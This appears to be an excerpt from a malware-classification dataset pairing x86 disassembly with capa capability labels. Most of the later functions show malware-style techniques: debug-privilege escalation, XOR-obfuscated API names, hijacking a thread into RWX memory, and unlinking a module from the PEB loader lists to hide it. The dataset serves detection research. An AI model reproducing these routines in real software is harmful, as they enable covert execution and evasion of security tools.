joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4143be
Capabilities:
Accept command line arguments

Disassembly:
push 0xc0
mov eax, 0x43da97
call fcn.00434d9c
mov ebx, ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x58]
push str.Module_File_Name:
mov dword [ebp - 0xc8], eax
call fcn.00404380
and dword [ebp - 4], 0
lea ecx, [ebp - 0xa0]
push str.____Command_Line:
call fcn.00404380
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
push str.____File_Version:
call fcn.00404380
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x88]
push str.______Process_ID:
call fcn.00404380
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
push str.________Built_on:
call fcn.00404380
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
push str.___Log_File_Name:__
call fcn.00404380
mov byte [ebp - 4], 5
lea esi, [ebx + 0xbc]
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
lea ecx, [ebp - 0x58]
call fcn.00404260
push 0x14
call fcn.00416f97
pop ecx
mov dword [ebp - 0xcc], eax
mov byte [ebp - 4], 6
mov ecx, eax
push esi
call fcn.00410880
mov edi, eax
mov byte [ebp - 4], 5
test edi, edi
je 0x4144a8
mov edx, dword [edi]
mov ecx, edi
call dword [edx + 0x10]
lea ecx, [ebp - 0x40]
test eax, eax
je 0x414496
push eax
jmp 0x41449b
push str._no_version_info_
call fcn.00404260
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax]
lea eax, [ebp - 0xc4]
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
test eax, eax
je 0x4144de
push dword [ebp - 0xa4]
push str.___ld_bytes_
push 0x104
push esi
call fcn.00408b92
add esp, 0x10
lea ecx, [ebp - 0x58]
push esi
call fcn.00404260
lea ecx, [ebp - 0x58]
call fcn.004041a0
mov esi, dword [ebp - 0xc8]
mov edi, 0x40000000
push eax
push 0
push edi
push esi
mov ecx, ebx
call fcn.00414253
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0xa0]
call fcn.00404260
lea ecx, [ebp - 0xa0]
call fcn.004041a0
push eax
push 0
push edi
push esi
mov ecx, ebx
call fcn.00414253
lea ecx, [ebp - 0x40]
call fcn.004041a0
push eax
push 0
push edi
push esi
mov ecx, ebx
call fcn.00414253
push 0xffffffffffffffff
push 0
lea eax, [ebx + 0x54]
push eax
lea ecx, [ebp - 0x88]
call fcn.00404ff0
lea ecx, [ebp - 0x88]
call fcn.004041a0
push eax
push 0
push edi
push esi
mov ecx, ebx
call fcn.00414253
push 0xffffffffffffffff
push 0
lea eax, [ebx + 0x38]
push eax
lea ecx, [ebp - 0x70]
call fcn.00404ff0
lea ecx, [ebp - 0x70]
call fcn.004041a0
push eax
push 0
push edi
push esi
mov ecx, ebx
call fcn.00414253
mov ecx, esi
call fcn.004160f8
push eax
lea ecx, [ebp - 0x28]
call fcn.00404260
push 0x44ecb8
lea ecx, [ebp - 0x28]
call fcn.00404260
lea ecx, [ebp - 0x28]
call fcn.004041a0
push eax
push 0
push edi
push esi
mov ecx, ebx
call fcn.00414253
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00404090
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
call fcn.00404090
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x88]
call fcn.00404090
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.00404090
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa0]
call fcn.00404090
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.00404090
call fcn.00434d46
ret 4
Function at 0x41460f
Capabilities:
Get common file path

Disassembly:
push 0x248
mov eax, 0x43dad5
call fcn.00434d9c
mov edi, ecx
mov dword [ebp - 0x250], edi
mov esi, dword [ebp + 8]
test esi, esi
je 0x41480f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41463c
mov al, byte [eax]
jmp 0x41463f
mov al, byte [esi + 0x18]
test al, al
je 0x41480f
mov ecx, esi
call fcn.004160f8
lea ecx, [ebp - 0x248]
mov ebx, eax
call fcn.004043e0
and dword [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.004043e0
mov byte [ebp - 4], 1
push ebx
call dword [sym.imp.SHLWAPI.dll_PathIsFileSpecW]
add edi, 0xbc
test eax, eax
je 0x4146a5
push edi
xor eax, eax
push eax
push eax
push 0x8023
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push edi
lea ecx, [ebp - 0x248]
call fcn.004042b0
push ebx
lea ecx, [ebp - 0x230]
jmp 0x4146d5
push ebx
push 0x104
push edi
call fcn.00420d8c
add esp, 0xc
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea ecx, [ebp - 0x230]
call fcn.004042b0
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push edi
lea ecx, [ebp - 0x248]
call fcn.004042b0
test dword [esi + 0x10], 0x20000
je 0x414735
push edi
push 0
lea ecx, [ebp - 0x230]
call fcn.004041a0
push eax
lea ecx, [ebp - 0x248]
call fcn.004041a0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x414735
push 0x104
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x414735
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x414735
lea eax, [ebp - 0x218]
add ecx, 4
push eax
call fcn.004042b0
mov ecx, esi
call fcn.004160f8
mov ebx, eax
push ebx
mov dword [ebp - 0x24c], ebx
call fcn.0043753d
pop ecx
test eax, eax
je 0x4147b3
xor eax, eax
test dword [esi + 0x10], 0x10000
push eax
push 0x80
je 0x414764
push 2
jmp 0x414766
push 4
push eax
push eax
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4147b3
lea eax, [ebp - 0x254]
push eax
push edi
push 0x104
push 0
push dword [ebp - 0x24c]
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
je 0x4147ac
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x4147ac
push edi
add ecx, 4
call fcn.004042b0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test dword [esi + 0xc], 0x40000000
je 0x4147e1
mov edi, dword [ebp - 0x250]
mov ecx, edi
push esi
call fcn.004143be
test dword [esi + 0x10], 0x100000
je 0x4147e1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ecx, edi
call fcn.00414323
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4147ed
mov byte [eax], 0
jmp 0x4147f1
mov byte [esi + 0x18], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.00404090
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.00404090
call fcn.00434d46
ret 4
Function at 0x415505
Capabilities:
Check mutex on windows

Disassembly:
push 0x54
mov eax, 0x43dcc7
call fcn.00434d9c
mov esi, ecx
mov dword [ebp - 0x5c], esi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x60], esi
call fcn.004043e0
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [esi + 8], ebx
jne 0x41558d
lea ecx, [ebp - 0x28]
call fcn.004043e0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x40]
mov ecx, str.RegValues
call fcn.00416029
push str.Lock
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x58]
call fcn.004051f0
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
push eax
call fcn.00404300
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x58]
call fcn.00404090
lea ecx, [ebp - 0x28]
call fcn.004041a0
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi + 8], eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x28]
call fcn.00404090
push 0x32
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x415632
push str.MappedFile
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x28]
call fcn.004051f0
pop ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
call fcn.004041a0
push eax
mov edi, 0x88
push edi
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 4], eax
test eax, eax
je 0x41561e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
push 0
push 0
xor ebx, ebx
cmp eax, 0xb7
push 0xf001f
push dword [esi + 4]
setne bl
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 0xc], eax
test eax, eax
je 0x41561c
test ebx, ebx
je 0x415617
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 4
mov ecx, eax
call fcn.00412675
mov byte [ebp - 4], 3
mov eax, dword [esi + 0xc]
inc dword [eax]
xor ebx, ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x28]
call fcn.00404090
mov esi, dword [esi + 0xc]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00404090
mov eax, esi
call fcn.00434d46
ret 4
Function at 0x415688
Capabilities:
Check mutex on windows

Disassembly:
push 0x54
mov eax, 0x43dd33
call fcn.00434d9c
mov esi, ecx
mov dword [ebp - 0x5c], esi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x60], esi
call fcn.004043e0
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [esi + 8], ebx
jne 0x415710
lea ecx, [ebp - 0x28]
call fcn.004043e0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x40]
mov ecx, str.ExtMonitor
call fcn.00416029
push str.Lock
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x58]
call fcn.004051f0
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
push eax
call fcn.00404300
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x58]
call fcn.00404090
lea ecx, [ebp - 0x28]
call fcn.004041a0
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi + 8], eax
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x28]
call fcn.00404090
push 0x32
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4157ef
push str.MappedFile
lea edx, [ebp - 0x40]
lea ecx, [ebp - 0x28]
call fcn.004051f0
pop ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x28]
call fcn.004041a0
push eax
push 0x48
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 4], eax
test eax, eax
je 0x4157db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x48
push 0
push 0
xor ebx, ebx
cmp eax, 0xb7
push 0xf001f
push dword [esi + 4]
setne bl
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
mov dword [esi + 0xc], edi
test edi, edi
je 0x4157d9
test ebx, ebx
je 0x4157c7
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 4
xor ebx, ebx
mov dword [edi + 4], ebx
lea ecx, [edi + 0x14]
mov dword [edi], vtable.NGLogging::CExtMonitorSettings.0
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
call fcn.004043e0
mov byte [ebp - 4], 5
lea ecx, [edi + 0x2c]
call fcn.004043e0
mov byte [ebp - 4], 6
mov dword [edi + 0x44], ebx
mov byte [ebp - 4], 3
jmp 0x4157c9
xor ebx, ebx
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 4]
neg ecx
sbb ecx, ecx
and ecx, eax
inc dword [ecx]
jmp 0x4157db
xor ebx, ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x28]
call fcn.00404090
mov esi, dword [esi + 0xc]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00404090
mov eax, esi
call fcn.00434d46
ret 4
Function at 0x415ef6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, ecx
mov ebx, edx
test edi, edi
je 0x415f70
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
lea eax, [ebp - 8]
mov dword [ebp - 4], ecx
push eax
push ecx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x415f70
cmp dword [ebp - 8], 1
jne 0x415f70
mov eax, dword [ebp - 4]
xor ecx, ecx
push esi
shr eax, 1
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041757e
mov esi, eax
pop ecx
test esi, esi
je 0x415f6f
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x415f68
mov ecx, dword [ebp + 8]
push esi
call fcn.004042b0
push esi
call fcn.00417587
pop ecx
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x416570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]

Function at 0x428cfa
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004289ba

Function at 0x42ef53
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042ec16

Function at 0x42ef5e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042ed97
Function at 0x4335b0
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x43e198
call fcn.00434d9c
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4336cd
cmp byte [ebx + 0x3e], 0
je 0x4336cd
mov eax, dword [ebx]
mov edi, 0xffff
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call fcn.00417b6c
mov ecx, ebx
call esi
movzx eax, ax
cmp di, ax
sete al
test al, al
je 0x4335fc
xor al, al
jmp 0x4336cf
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.004338d3
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x43362c
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebx + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call fcn.00417b6c
mov ecx, edi
call dword [esi + 0x20]
sub eax, 0
je 0x433661
sub eax, 1
je 0x433665
dec eax
sub eax, 1
je 0x4336bb
xor bl, bl
jmp 0x4336bd
mov byte [ebx + 0x3e], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x433675
lea edx, [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
sub esi, edx
je 0x43369d
cmp eax, 0x10
jae 0x433684
lea ecx, [ebp - 0x28]
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00439244
add esp, 0x10
cmp esi, eax
jne 0x43365d
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x4336bb
test esi, esi
jne 0x433620
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.004087b6
jmp 0x43361a
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.00408bca
mov al, bl
jmp 0x4336cf
mov al, 1
call fcn.00434d46
ret
Function at 0x10001750
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10036428
push 0x10011460
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x10039040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x100017e5
xor al, al
jmp 0x1000186e
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001810
xor al, al
jmp 0x1000186e
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x1000185b
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1000fe05
mov esp, ebp
pop ebp
ret

Function at 0x10004ab0
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.1000aff0
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10004540
push 0
push 0
mov dword [0x1003def0], eax
mov dword [0x1003def4], edx
mov dword [0x1003def8], eax
mov dword [0x1003defc], edx
call esi
mov ebx, eax
test ebx, ebx
je 0x10004b28
push 0
push 0
push 0
push 0x100047e0
push 0
push 0
call esi
mov edi, eax
test edi, edi
je 0x10004b28
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x64
push ebx
call esi
push 0x64
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
pop edi
pop esi
pop ebx
ret
push 1
call fcn.10017465
int3
Function at 0x1000aff0
Capabilities:
Acquire debug privileges
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x10039040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push edi
call esi
test eax, eax
jne 0x1000b014
call esi
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000b0ec
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0x28
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000b0ec
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeSecurityPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000b0ec
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000b0ec
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x30]
push eax
push str.SeDebugPrivilege
push 0
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 4
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000b0ec
push 0
push 0
push 0
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000b0ec
push dword [esp + 0x20]
call esi
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000b186
movaps xmm0, xmmword [0x10034b00]
xor ecx, ecx
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 0x53
nop dword [eax]
mov al, byte [esp + 0xc]
xor byte [esp + ecx + 0xd], al
inc ecx
cmp ecx, 0x10
jb 0x1000b120
lea eax, [esp + 0x24]
mov byte [esp + 0x1d], 0
push eax
lea eax, [esp + 0x11]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000b180
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
push 0
push 0
push 0x10
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x38]
push eax
push 0
push dword [esp + 0x34]
mov dword [esp + 0x44], 1
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x20]
call esi
call fcn.1000b270
mov dword [0x1003dfbc], eax
test eax, eax
je 0x1000b19b
mov ecx, eax
call fcn.1000b460
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1000fe05
mov esp, ebp
pop ebp
ret
Function at 0x1000b270
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10039040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x6d
mov dword [ebp - 0x2f8], 0x1193f6d
mov dword [ebp - 0x2f4], 0x90c0221
xor eax, eax
mov dword [ebp - 0x2f0], 0x41f193e
mov word [ebp - 0x2ec], 0xa03
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000b2ca
mov cl, byte [ebp - 0x2f8]
jmp 0x1000b2b5
push ebx
mov byte [ebp - 0x2e8], 0x36
mov al, 0x58
xor al, byte [ebp - 0x2e8]
mov bl, 0x5a
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x52
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x42
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x18
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1000b442
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000b442
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.10011d90
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000b442
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000b442
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000b442
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001890
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000b442
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000fe05
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1000fe05
mov esp, ebp
pop ebp
ret
Function at 0x1000b460
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x4b
mov al, 0x25
xor al, byte [ebp - 0x10]
mov bl, 0x27
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x2f
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x3f
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x65
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1000b533
movaps xmm0, xmmword [0x10034b40]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x647e4278
mov dword [ebp - 0x14], 0x727773
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1000b4f0
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000b533
test esi, esi
jne 0x1000b51e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000b540
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000b57e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b582
cmp edx, esi
jne 0x1000b567
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000b5a2
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b5a6
cmp edx, esi
jne 0x1000b58b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000b5c6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000b5ca
cmp edx, esi
jne 0x1000b5af
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret